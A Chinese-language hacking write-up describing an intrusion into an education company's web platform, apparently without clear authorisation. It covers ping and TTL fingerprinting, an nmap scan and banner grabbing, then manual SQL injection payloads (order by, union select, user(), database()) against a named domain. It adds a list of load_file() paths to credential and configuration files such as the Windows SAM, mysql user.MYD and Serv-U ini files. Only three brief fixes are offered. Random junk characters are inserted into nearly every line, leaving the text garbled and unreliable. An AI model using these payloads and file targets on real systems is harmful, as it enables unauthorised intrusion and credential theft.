题记:
3 [5 A7 T+ y2 V一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……( u6 E: [" B1 f
第一步:获取需要的信息
5 f ~0 u& y" \5 B1 _$ O由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
# `$ E( f/ H2 S6 g! ^" A% R( I注:以下为保护特用XXX代替敏感信息
8 Z/ D" D3 [. k顺手先PING了一下他们的域名:
, n8 F9 V1 ]% \& G' E6 |7 [8 D4 }ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)' e1 y* T+ \2 G6 L6 s
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms7 @( q2 ?) z2 l$ v
顺便了解一下TTL,学好基础知识才能一路顺风:
7 r8 K" ]3 E5 n) nTTL:(Time To Live ) 生存时间
~4 {- N& k4 p) U, e4 E指定数据包被路由器丢弃之前允许通过的网段数量。9 m) ?! N9 V. f' q. [7 Z, \( o& i
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。# b5 q4 q1 x" \" v
使用PING时涉及到的 ICMP 报文类型- Q9 V8 ^1 n' N' L7 r
一个为ICMP请求回显(ICMP Echo Request)
/ w! O( ^; j' W( |8 z! c一个为ICMP回显应答(ICMP Echo Reply)- x+ M- b# p9 c
TTL 字段值可以帮助我们识别操作系统类型。
/ T: u* V I7 ?. q C3 H+ r- r: E8 `UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
q4 Q9 H: B" x0 Y9 G* hCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
' {/ y0 g; Y1 Z! a# Z. t微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
5 M3 \& c, F o) Y: o微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
& m0 o' P" _! x: D" e+ t5 {当然,返回的TTL值是相同的: x1 R0 Y! @ u- v+ e
但有些情况下有所特殊! m! Z" P# L1 I( U# G3 a1 P
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
" k: x: X7 i5 O8 j: CFreeBSD 4.1, 4.0, 3.4;6 _5 s6 |: h+ L
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;' B7 Y- m$ _( W1 u
OpenBSD 2.6, 2.7,6 s7 t! o' m5 }5 M' t3 D
NetBSD
! w& @! C2 J: O3 y" l: \, AHP UX 10.20
$ x7 d0 U0 c' w8 M& D1 G4 ZICMP 回显应答的 TTL 字段值为 2554 q9 n4 Q3 x, d( k1 L; w
Windows 95/98/98SE) \6 ~7 X% ]# j& }. x, p
Windows ME0 g! K% e) G% {* M: b9 Y: k6 C
ICMP 回显应答的 TTL 字段值为 32, v5 e6 z8 }- @* W# U4 K0 |
Windows NT4 WRKS/ a. w% B3 r! M& m( z% O4 S, E
Windows NT4 Server
* }5 o! m/ s+ D' L$ cWindows 2000; k: F$ l6 M, k3 H. z& l9 v
Windows XP
6 o" Y' Y( m' p6 a- X; L( K r( UICMP 回显应答的 TTL 字段值为 128
1 r/ Z3 S( S7 D) O这样,我们就可以通过这种方法来辨别操作系统
# ^7 M. W9 v. wTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
$ W' B, }9 F" `用NMAP扫描一下:/ `$ _3 r" G% q9 z( o" M. O
nmap -sT -O XXX.XXX.XXX.XXX
7 i7 @- [9 w* U8 G% g如果没有装WinPcap则会弹出提示:, V9 y v" \, Q. P
WARNING: Could not import all necessary WinPcap functions. You may need to upgr( @5 w3 T5 F( |3 U2 o1 V
ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(4 P% k, \; ~+ U+ M2 ~( N' d
) mode — Nmap may not function completely* Y+ n6 `6 l5 B9 D9 G
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher+ C' b- s1 S# }
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win/ b, X" L; N% W5 O$ \. n
pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an( b1 u% e6 Q) C! f) J5 F; y
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
' T& {3 Q) l. u; r/ Y) ~ersions, you may be able to take iphlpapi.dll from another system and place it i! Q' v1 T" b: {* b( c8 |) j
n your system32 dir (e.g. c:\windows\system32).
0 F* R0 A; K& m# D- R; MQUITTING!$ Z+ K3 Z' J& o
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe. g5 r6 ^) X9 Y8 ]3 \& N+ g2 P
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:4 h6 d/ L+ w8 {' c# a& _6 j& D
Interesting ports on XXX.XXX.XXX.XXX:- }1 _ I9 k# I" N
Not shown: 986 closed ports
; O# e. j1 o) QPORT STATE SERVICE0 b. O) ~. x" k. @
21/tcp open ftp
6 R7 i! Q* e6 X9 {22/tcp open ssh
: y5 V$ W* ~6 c; \/ [8 M23/tcp open telnet8 G2 d* [* g( ?5 l4 u
80/tcp open http
2 U9 k8 V! E; s' V8 Q111/tcp open rpcbind. c4 N! M; X& f$ z
135/tcp filtered msrpc
! D+ M! b0 C4 k/ E6 O139/tcp filtered netbios-ssn" H3 C$ R. i7 l7 h" \! O
445/tcp filtered microsoft-ds( ? d+ J$ I% X- J6 d. G& G; f
513/tcp open login* S) F, x- ~% {* C
514/tcp open shell
. i* S& z9 Z0 _- h' M* `593/tcp filtered http-rpc-epmap. N% r* t! {$ f9 t
1720/tcp filtered H.323/Q.931
1 [; n. Q# g1 G- I, R3306/tcp open mysql
0 k, u) N! y6 L- X# x2 S4444/tcp filtered krb524, a2 }8 k) a+ j D
Device type: WAP
7 r3 n( Y3 Q; S' H$ m7 _Running: Linux 2.4.X
9 v8 [# K1 N1 P0 GOS details: DD-WRT (Linux 2.4.35s)/ o/ A* u0 u+ e( f2 V- _
Network Distance: 13 hops
: t! g) w9 F9 N2 g( ?9 s看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
. t e* S0 C' k1 Ilogin as:& n) d5 h, U, P
Telnet23端口也是开着的,用telnet 命令链接一下:0 j, H6 O+ N8 A
telnet XXX.XXX.XXX.XXX# d3 B$ M% H w/ ]
提示:- K; Y; k& M! Y
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
# @- g, i3 o5 i. L6 ~3 Z! X+ @3 ~/ CKernel 2.6.18-92.el5PAE on an i686
4 v$ z9 J* \; j2 {$ W7 Elogin:9 w7 F2 `4 W* C3 W8 _! P" J$ E
获取HTTP头信息:) H# t6 T8 L, w% R, w, ]
在本地执行如下PHP代码4 O) a( Q7 g9 M
<?php* \4 j9 E8 G! p# U' O1 y6 S
$url = ‘XXX.XXX.XXX.XXX’;
( g3 e9 F" Q6 s% ?: p; l$ nprint_r(get_headers($url));0 V/ E6 U$ h z& D# j! {+ q
print_r(get_headers($url, 1));. X% }) T! @4 d0 n, @
?>6 {! C8 g5 ^+ [' b5 _
将以上代码保存为PHP文件,执行:
$ h' D7 k" N9 yArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )1 { g+ `, _4 @8 `3 Q6 ~9 z7 F
现在可以得出结论:9 d8 j" B. N; S5 {* v3 s$ a4 t
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
m. N# C+ O9 _7 _# J" x0 u内核版本:Kernel 2.6.18-92.el5PAE on an i6864 y9 k- Y: A, r l( ]3 L) o5 a' ^. R0 a
WEB服务器版本:nginx/0.7.61( ^6 E4 i* I- _0 t3 x, S+ R
第二步,开始测试寻找漏洞
; Q/ |7 \( {, m* A @# d分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
: n9 H" e( E! G3 h; c7 Z7 ?/ H1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
0 Y; J: J7 f% O0 M( I' n2、测试方法:在地址后加 and 1=1 和 and 1=2 测试5 x% T8 j9 @3 A7 u& w
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
' {0 b+ T9 ~: Q# E9 ?" B/ }http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误5 b5 @# a. }& h6 U) R
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
9 `8 @& Y/ W$ j# B3 U$ {' g3、手工注入:
7 K O7 y$ \) l: ?% A; J0 O! X4 s注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
' Z. c+ t _: s* e3 S! r7 _3.1 猜测当前表字段数
, `) ]5 N9 d% Y& C/ m% e3 e+ L4 `0 ^http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 100 x: r" G5 [1 a/ y8 _) V
此处猜测有个简单的算法,都是有技巧的吗,呵呵
3 U7 x+ T( N8 n$ Q算法简单如下:. @. G" T5 {; c5 T2 t" D0 l
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;9 K2 W! S; i" n
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
$ K; ^- J6 ]% l需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
& K8 w' X! v& g% G; K以此来判断,是否过界,配合取中算法猜出字段数。
: l: Y# `7 U% `0 |3 B1 j8 U" Z举例:
3 h5 \7 t, u$ R/ B! ]+ @http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常1 a$ }3 u0 Y+ a3 S
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误2 s- K# D/ h- d6 z1 t$ B* E0 d
此时3则为我们要找的字段数。9 h! c- c9 C: `/ E' d
3.2 配合union联合查询字段在页面所位置
- s( h3 m% j- {, A) u' S! [我们已经知道了字段数为3,此时则可以做如下操作:
% {0 u# l2 ]$ j, Dhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
. M6 ^( L7 ~5 F5 b2 w
- p& Z; \4 |3 Y6 e这样就可以测试到哪些字段在页面上有所显示了,如图:
y# I2 z: f' g( V' v" G3 k& Z5 S' S0 Q
3.3 查敏感信息& r! f" S3 Q. F, v% u
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。) e- [% }5 `0 e3 B3 R) B5 H
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
5 B6 H& U/ r/ `- x9 ~3.3.1 先查数据库用户、数据库名,以备后用,如图:# b- g' u# N. F% P/ t3 C# w" M* x
0 a+ H" G% N4 c0 k, L4 f
得到数据库用户为root、数据库名为DBxx;
- p. w' h9 B, f& S' H; s3.3.2 查配置文件
2 q) {% _1 T g7 `" V查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。8 R4 Y! }: x2 `& S f2 U, M
查看文件有一定的条件限制:* y; m# w/ ? L
欲读取文件必须在服务器上
: h' M' L( n, j& z+ k' n必须指定文件完整的路径: W7 m( s& n5 P X; R; y$ ^' W
必须有权限读取并且文件必须完全可读7 M3 X* z o2 d
欲读取文件必须小于 max_allowed_packet
3 F8 K1 @" V0 U/ d9 p$ ?2 bMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。0 {+ Q; p4 I4 S
常用的一些:8 i% ^. I1 f# W, O& R
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
7 @# Z2 n: {0 W/ I+ e/usr/local/apache2/conf/httpd.conf* z8 Y: r6 B4 T% {4 Z) \
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置* a% h0 a. f A3 D+ ?
/usr/local/app/php5/lib/php.ini //PHP相关设置
: y @4 g) x1 s% w) n+ N/etc/sysconfig/iptables //从中得到防火墙规则策略
' a6 [5 h3 r/ X4 E `$ z, D/ w+ D/etc/httpd/conf/httpd.conf // apache配置文件/ z' d, g- K5 ~* N
/etc/rsyncd.conf //同步程序配置文件
* [+ t$ `: M, y, Q" _/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
# |! y" E: I, e' i/etc/my.cnf //mysql的配置文件5 P V5 I4 N! M, K
/etc/redhat-release //系统版本5 C% w- h5 ?" w1 r: d7 { z
/etc/issue
; ?0 D! F! g8 _9 c2 R% a/etc/issue.net
: e! K- `6 Z, l6 _2 X- N, `) D" fc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码2 i8 u8 F3 J) n# l
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
( _5 R, v- K: f0 S' j! xc:\Program Files\Serv-U\ServUDaemon.ini1 c; [. s- L& |( {7 y
c:\windows\my.ini //MYSQL配置文件/ \8 b3 z' @" q- ^/ K9 l
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件! E% k+ c* J% p& U
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,# ^ U$ B" J5 T" g5 b! Z6 l9 @: O- ^
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
9 K( \# w% V- F; _" Bc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此, t: n9 V# A* V" B
c:\Program Files\RhinoSoft.com\ServUDaemon.exe. j/ K5 u& q" |+ |- c1 |8 O. ?
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件$ X! ^9 V+ S2 @& O5 W1 o
//存储了pcAnywhere的登陆密码
4 ]+ @: B: T3 } w" y4 ^( ]由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
3 N0 p4 Z8 {4 y这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
1 S1 A/ I- G9 Z# [! ]9 D; I最后:防范措施
- ~( d7 R5 ~1 C$ L8 \4 O- |1、修复PHP注入漏洞;
% ~" ?) A* `* J9 r# R: U- x. F2、Mysql使用普通权限的用户;- @/ T1 r, c0 s, f# T
3、升级linux内核至最新版本; |